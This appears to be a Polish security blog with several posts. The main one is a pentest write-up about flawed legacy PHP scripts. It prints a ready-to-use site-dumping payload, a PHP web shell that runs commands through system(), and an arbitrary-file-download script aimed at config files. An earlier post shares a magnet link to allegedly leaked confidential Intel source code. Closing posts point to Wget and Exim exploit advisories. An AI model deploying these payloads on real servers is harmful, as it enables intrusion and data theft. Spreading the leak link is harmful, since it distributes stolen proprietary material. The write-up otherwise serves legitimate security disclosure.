Znalezione na dysku, bawi do dzisiaj, ciekawe, który z Was to wrzucił?

Znalezione na dysku, bawi do dzisiaj, ciekawe, który z Was to wrzucił?

Co tu dużo mówić, ktoś chyba straci pracę. Wyciekły kody źródłowe, narzędzia, tajne dokumentacje. Można tam również znaleźć smaczki o backdoorach.

magnet:?xt=urn:btih:38f947ceadf06e6d3ffc2b37b807d7ef80b57f21&dn=Intel%20exconfidential%20Lake%20drop%201
Podczas ostatniej sesji pentestów u klienta odkryłem na serwerze skrypt pozostawiony przez dewelopera, który projektował system lata temu.
Skrypt, publicznie dostępny (jego adres był wysyłany do klientów), był wykorzystywany przez jeden z komponentów do zapisywania logów na serwerze, w bardzo oryginalny sposób.
Nie wiem nawet jak to skomentować, po prostu wam pokażę kod:
<?php
/*function deleteDir($path) {
if (empty($path)) {
return false;
}
return is_file($path) ?
@unlink($path) :
array_map(__FUNCTION__, glob($path.'/*')) == @rmdir($path);
}
deleteDir('xxx');
die;*/
$filename = $_REQUEST["xvar"];
$user = $_REQUEST["yvar"];
$xyz = $_REQUEST["zvar"];
chdir('xxx');
$hfile = fopen($filename, "a+");
$fsize=filesize($filename);
if ($fsize==0){
fwrite($hfile, $user."\r\n\r\n");
}
fwrite($hfile, date("r")." - ".$xyz."\r\n");
echo "1";
?>
No więc co się tutaj dzieje? Ten skrypt po prostu pobiera parametry z zapytania POST lub GET i wykorzystuje ich treść do nadpisania istniejącego lub stworzenia nowego pliku na serwerze w podkatalogu „xxx”.
Problem polega na tym, że nie jest przeprowadzona żadna walidacja i możliwe jest stworzenie dowolnego pliku w dowolnym katalogu systemu, także skryptów PHP.
Kreatywnie. To na pewno. I tak żeby klient zrozumiał, że to nie są żarty. Należy w tym celu skonstruować zapytanie POST do serwera i odpowiednio ustawić parametry:
Poniższy skrypt został tak zapisany, że wykorzystując rozszerzenie ZIP dla PHP tworzy archiwum (bez kompresji, żeby nie wydłużać czasu działania skryptu) ze wszystkimi plikami znajdującymi się na stronie.
<?php $r = realpath('../');$z = new ZipArchive();$z->open('dump.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($r), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($r) + 1); $z->addFile($filePath, $relativePath); $z->setCompressionName($relativePath, ZipArchive::CM_STORE); } } $z->close(); /*
Do stworzenia tego skryptu na serwerze wykorzystując znalezioną podatność wykorzystałem rozszerzenie dla Chrome – RestMan. Po ustawieniu rodzaju zapytania (POST) i parametrów, wadliwy skrypt zwrócił „1” co jak widać świadczy o tym, że wykonał się do końca.

Teraz wystarczy wpisać w przeglądarkę adres witryny i nazwę skryptu, znajduje się on w katalogu „xxx/dump.php” i jeśli wszystko pójdzie ok, stworzy „piętro wyżej” archiwum ZIP z całą zawartością strony.
Problem może być czas potrzeby do działania skryptu PHP, ograniczony ustawieniami w pliku konfiguracyjnym php.ini. Można go sobie wydłużyć wykonując funkcję PHP set_time_limit(10 * 60); zaraz na początku skryptu.
Z ciekawszych rzeczy, które można podrzucić jest zdalna powłoka, którą można wykorzystać do zdalnego wykonywania poleceń, dzięki funkcji system() wbudowanej w PHP:
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die(); } /*
Funkcja ta może być i często jest wyłączona w konfiguracji PHP, ale warto o tym wiedzieć.
Zastanawiałem się nad tym chwilę, bo adres skryptu był wysyłany do klientów systemu po określonej akcji i nie mogli mieć świadomości, co się dzieje po jego wykonaniu tzn. że w podkatalogu „xxx” tworzone są nowe pliki. Bo skąd?
Jednak dalsze testy tego archaicznego systemu pozwoliły odnaleźć innego kwiatka, który tego wyżej bije na głowę:
<?php
// downloading a file
$filename = $_GET['filename'];
// fix for IE catching or PHP bug issue
header("Pragma: public");
header("Expires: 0"); // set expiration time
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
// browser must download file from server instead of cache
// force download dialog
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
// use the Content-Disposition header to supply a recommended filename and
// force the browser to display the save dialog.
header("Content-Disposition: attachment; filename=".basename($filename).";");
/*
The Content-transfer-encoding header should be binary, since the file will be read
directly from the disk and the raw bytes passed to the downloading computer.
The Content-length header is useful to set for downloads. The browser will be able to
show a progress meter as a file downloads. The content-lenght can be determines by
filesize function returns the size of a file.
*/
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));
@readfile($filename);
exit(0);
?>
To raczej trudno pobić.
Skrypt pozwala pobrać dowolny plik z serwera, wystarczy np. ustawić parametr „filename” na „index.php” lub jakiś inny, często używany plik jak „config.php”, żeby dobrać się do reszty systemu.
Po wskazaniu błędów i zaprezentowaniu możliwości klient był zaskoczony, że takie coś w ogóle było możliwe, jednak wynikało to z wieku systemu i metod tworzenia oprogramowania wykorzystywanych lata temu, których już raczej nie doświadczymy. Chociaż, kto wie ile jeszcze takich starych kwiatków wisi na produkcji 🙂
Gynvael Coldwind ogłosił na swoim blogu, że w piątek (22.07.2016 o 19) zrobi sesję livestreamingową, na której przedstawi analizę kilku CrackMe, wsród których znajdzie się moje CrackMe dla Zaufanej Trzeciej Strony.
Wpis na blogu – http://gynvael.coldwind.pl/?id=616
Stream – http://gynvael.coldwind.pl/live-en
Popularny Wget posiadał lukę, dzięki której możliwe było wykonanie przekierowania po stronie serwera, z którego pobierany był plik, w taki sposób można było zapisać plik o dowolnej nazwie na docelowej maszynie.
http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-4971
http://www.ubuntu.com/usn/usn-3012-1/
Lukę odnalazł polski researcher i podróżnik Dawid Gołuński. Na aktualizację nie trzeba było długo czekać:
http://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html
Exim to program typu MTA do obsługi poczty pod systemami typu Linux/Unix. Jest to domyślny MTA na systemach Ubuntu oraz Debian. Exim w wersjach ponizej 4.86.2 posiada błąd związany z brakiem sanityzacji zmiennych środowiskowych przed wywołaniem modułów perla (definiowanych przez opcje perl_startup w głównej konfiguracji Exima). Ponieważ binaria Exima są instalowane z prawami roota (SUID) w systemie, błąd ten może zostać wykorzystany przez napastników z lokalnym dostępem w celu eskalacji przywilejów ze zwykłego usera do usera root.
Więcej informacji oraz działający przykładowy exploit możecie znaleźć w advisorce pod adresem:
http://legalhackers.com/advisories/Exim-Local-Root-Privilege-Escalation.txt
którą napisał Dawid Gołuński.